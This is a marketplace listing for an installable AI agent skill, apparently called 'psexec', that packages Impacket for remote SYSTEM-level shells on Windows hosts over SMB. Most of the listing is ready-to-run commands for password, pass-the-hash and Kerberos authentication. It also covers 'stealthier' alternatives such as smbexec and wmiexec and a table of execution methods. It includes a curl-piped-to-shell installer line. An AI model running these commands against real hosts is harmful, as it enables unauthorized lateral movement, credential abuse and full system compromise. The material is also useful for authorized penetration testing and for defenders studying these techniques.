psexec
Auth/lab ref: Impacket psexec for remote SYSTEM-level shell execution on Windows hosts via SMB.
v2026.11.13-21cd5683 installs+3 in 7 days39 StarsApache-2.0synced 10 hours ago
Install
No NotHoly CLI yet? Install it first.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install aeondave/psexecWrites to ~/.notholy/skills after checking the signature and the SHA-256.
SignatureSigned, ed25519
Package2e197087…d75b0e2d
2e1970877de5…725bd75b0e2d1 file · 1.2 KBScanLowno findings
Sourcegithub.com/AeonDave/malskill/tree/main/offensive-tools/windows/psexec@21cd568
On this page
Remote SYSTEM shell via SMB — part of the impacket suite. Creates a service, uploads a remote shell binary to ADMIN$, and executes it.
Quick Start
# Password auth
impacket-psexec domain/user:[email protected]
# Pass-the-hash
impacket-psexec [email protected] -hashes :8846f7eaee8fb117ad06bdd830b7586c
# Local account
impacket-psexec WORKGROUP/administrator:[email protected]Core Flags
| Flag | Description |
|---|---|
domain/user:pass@target |
Standard auth string |
-hashes <LM:NT> |
Pass-the-hash (use :NT for NT only) |
-no-pass |
No password (for null sessions) |
-k |
Kerberos auth |
-dc-ip <ip> |
Domain controller IP |
-port <n> |
Custom SMB port |
-service-name <n> |
Custom service name (default random) |
-remote-binary-name <n> |
Custom remote binary name |
-shell-type <type> |
Shell type: cmd or powershell |
-codec <enc> |
Output encoding (default auto-detect) |
Impacket Execution Alternatives
| Tool | Method | Notes |
|---|---|---|
psexec.py |
Service + ADMIN$ binary | SYSTEM shell; noisy (creates service) |
smbexec.py |
Service + cmd.exe | No binary drop; semi-interactive |
wmiexec.py |
WMI + cmd.exe | Semi-interactive; no service created |
atexec.py |
Task Scheduler | Single command; no interactive shell |
dcomexec.py |
DCOM | Multiple DCOM object options |
Common Workflows
# Get SYSTEM shell with credentials
impacket-psexec corp.local/admin:[email protected]
# Pass-the-hash (no LM needed for modern Windows)
impacket-psexec -hashes :f6f38b793db6a78dc379eee9e56b8c91 [email protected]
# PowerShell shell
impacket-psexec admin:[email protected] -shell-type powershell
# Execute single command (use wmiexec for non-interactive)
impacket-wmiexec admin:[email protected] "net user"
# Stealthier: smbexec (no binary to disk)
impacket-smbexec admin:[email protected]
# Kerberos auth (with CCACHE)
export KRB5CCNAME=/tmp/admin.ccache
impacket-psexec -k -no-pass corp.local/[email protected]Resources
| File | When to load |
|---|---|
references/impacket-suite.md |
Full impacket tool reference, secretsdump, GetUserSPNs, ticketing attacks |
Structuring This Skill
Files in this version
- SKILL.md2.5 KB
Permissions
| Permission | Declared | Found by the scan |
|---|---|---|
| Reads files | No | No |
| Writes files | No | No |
| Runs shell commands | Yes | Yes |
| Uses the network | No | No |
| Uses connectors | No | No |
| Drives a browser | No | No |
Scan findings
Reviewed on Nov 13, 2026
The scan found nothing to flag in this version.
A clean scan lowers the risk but does not prove a package is safe. Read what you install.
| Version | Published | Commit | SHA-256 | Signature | Permission change |
|---|---|---|---|---|---|
| v2026.11.13-21cd568 | Nov 13, 2026 | 21cd568 | 2e197087 | Signed | – |
More from AeonDave
All from this publisherMore in Active Directory and Windows
See the category- offensive-windows-mitigationssnailsploit/offensive-windows-mitigations4
- active-directory-attack-pathssecurityskills/active-directory-attack-paths3
- analyzing-powershell-script-block-loggingmukul975/analyzing-powershell-script-block-logging3
- offensive-windows-boundariessnailsploit/offensive-windows-boundaries3
- evil-winrmaeondave/evil-winrm3
- bloodyadaeondave/bloodyad3
Ask anything your scope allows.
Create an account, add credits and ask the first question in the chat or the terminal.
- 1/3
Create the account
Individual or company. You can switch to a company later without losing balance or keys.
IndividualCompany - 2/3
Add credits
By card. Pay per token, no subscription.
$5.00minimum deposit - 3/3
Ask
In the chat, or install the CLI and run notholy login in your terminal.
$ notholy login